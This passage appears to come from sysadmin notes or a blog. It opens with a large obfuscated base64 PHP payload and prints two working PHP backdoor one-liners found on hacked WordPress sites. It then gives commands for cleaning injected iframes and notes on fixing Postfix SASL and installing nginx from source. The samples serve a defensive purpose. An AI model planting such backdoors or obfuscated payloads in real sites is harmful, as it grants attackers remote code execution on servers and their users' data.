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’\x29\x29\x29\x3B”,”.”);
?>

This is a backdoor found on many WordPress sites, typically in the file wp-config.php

if (isset($_REQUEST[‘FILE’])){$_FILE = $_REQUEST[‘12722f6d103997f30e9765d0153305’](‘$_’,$_REQUEST[‘FILE’].'($_);’); $_FILE(stripslashes($_REQUEST[‘HOST’]));}

This is a real simple backdoor

$_REQUEST[e] ? eval( base64_decode( $_REQUEST[e] ) ) : exit;

found on php based sites.  This single line of code is found in file added to the site by hackers, frequently disguised as part of a plugin or a theme.  When the hackers request the file they can execute any php code contained in the variable e on the site.

 

If you’ve been a victim of an iframe injection attack, use the following steps to reverse the damage.

Note: Backup your data prior to beginning this procedure! Also be sure to secure whatever was broken and allowed this to happen (old scripts, hacked login details etc).

Use the following command to search for affected files.

find . -type f | xargs grep -l '<iframe.*statanalyze.cn.*iframe' 

Next, use the following command to search and replace on matched iframe text only.

find . -type f -exec sed -i 's/<iframe.*statanalyze.cn.*iframe>//g' {} \; 

Adjust the contents of the iframe regexp to suit. In this example it is: statanalyze.cn

Handling filenames with blanks

The commands above will not work if you have filenames with blanks in their names. To edit these, use the following commands:

find . -type f -print0 | xargs -0 grep -l '<iframe.*statanalyze.cn.*iframe' find . -type f -exec sed -i 's/<iframe.*statanalyze.cn.*iframe>//g' "{}" \; 

/var/log/mail.log
postfix/smtpd[3420]: warning: SASL authentication failure

Here is solution !!

rename /etc/postfix/sasl*/smtpd.conf if exist
stop saslauthd
restart postfix

Ref:
http://isp-control.net/forum/thread-10872-post-82490.html

Part1 – Installing Nginx with upload modult from source

ในส่วนนี้เป็นการติดตั้ง nginx

1. just init script we need

apt-get install nginx
apt-get remove nginx

2. download upload-module from http://www.grid.net.ru/nginx/upload.en.html

wget http://www.grid.net.ru/nginx/download/nginx_upload_module-2.0.12.tar.gz
tar xvfz nginx_upload_module-2.0.12.tar.gz
mv nginx_upload_module-2.0.12 /usr/src/

3. download nginx

wget http://nginx.org/download/nginx-1.0.3.tar.gz
tar xvfz nginx-1.0.3.tar.gz
cd nginx-1.0.3

4. configure and install

./configure –sbin-path=/usr/sbin –conf-path=/etc/nginx/nginx.conf –with-http_gzip_static_module –group=www-data –user=www-data –pid-path=/var/run/nginx.pid –with-http_stub_status_module –error-log-path=/var/log/nginx/error.log –http-log-path=/var/log/nginx/access.log

make -j8  (j = number of core)
make install

5. create nginx user

adduser –system –no-create-home –disabled-login –disabled-password –group nginx

Reference
http://www.punteney.com/writes/setting-django-slicehost-ubuntu-hardy-postgres-apa/

http://library.linode.com/web-servers/nginx/installation/ubuntu-9.10-karmic